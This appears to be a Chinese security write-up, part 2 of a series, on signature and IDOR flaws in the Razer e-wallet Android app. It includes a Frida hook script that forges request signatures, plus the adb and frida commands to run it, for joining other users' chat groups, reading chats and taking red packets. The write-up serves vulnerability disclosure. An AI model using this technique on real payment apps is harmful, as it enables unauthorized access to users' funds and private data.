主页 > 网络知识 > 雷蛇电子钱包APP漏洞分析(2)

雷蛇电子钱包APP漏洞分析(2)

 

雷蛇电子钱包APP漏洞分析

 

加入其他用户创建的聊天群组

到这步,我想肯定还有其它受Signature保护的API接口存在IDOR越权问题,于是我尝试用上述方法去做了一波测试,但毫无发现。而且其它API接口使用了不同代码混淆方法,导致我花费了很多时间去研究分析。没有头绪之时,那就用Frida来试试吧,Frida是一个非常好用的调试工具,我正好可以用它来识别一些可以hook利用的方法函数,结合上述的MD5Encode方法,找到正确的电子钱包代码包,同样可以用这些方法函数生成新的正确的用户签名Signature。

如以下frida.js代码实现的功能是为当前用户生成的新的用户签名,以加入其他用户创建的聊天群组:

// frida.js - Use this for recalculating signature for adding user to other people's chatgroup

 

console.log("Starting...")

 

Java.perform(function () {

 

    var MD5 = Java.use('com.mol.molwallet.view.MD5')

 

    MD5.MD5Encode.implementation = function (arg)

 

    {

 

        console.log("Hooking class MD5 - method MD5Encode")

 

       //Extra step - calculate new signature

 

        var ret_value = this.MD5Encode("groupId=1x9&userIds=95xxx7&token=b6fxxxd3-2xxc-4xxf-bxx7-7fxxxxa6")

 

        console.log("[+]  signature= " + ret_value)

 

        //Call method with original arguments so app doesn't crash ..

 

        var ret_value = this.MD5Encode(arg) //original value

 

                console.log("original ARG: " + arg) 

 

        return ret_value;

 

    }

 

})

但是要运行Frida,需要root级别的访问,好在我另外发现了一个服务端漏洞可以让攻击者在一台root过的移动设备中执行操作,以下为在移动设备中启动Frida服务的命令:

$ adb shell

# sudo su

# /data/local/tmp/frida-server

之后,在另一个终端窗口下,运行以下命令:

$ frida -l frida.js -U com.mol.molwallet

然后,在移动设备中,我打开雷蛇支付APP,这其中任何调用到hook方法“MD5Encode”的操作都将会执行上述的frida.js脚本,最终我就能针对特定用户请求生成有效正确的用户签名Signature了,这里的测试用例是,我可以为我自己生成一个用户签名,以它为验证凭据加入其他用户创建的聊天群组中去,这种方式的危害之处在于,可以神不知鬼不觉地加入某个群组,然后获取别人的聊天内容,或点击领取抢掉别人发送的红包。

 

雷蛇电子钱包APP漏洞分析

 

 

雷蛇电子钱包APP漏洞分析

 

导致的其它安全问题

利用上述方法,我把其它受Signature影响的所有API接口都做了测试,发现可以从这些API接口获取用户群组聊天时分享的红包金额,另外还能修改并查看其他用户的转账记录和个人信息。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!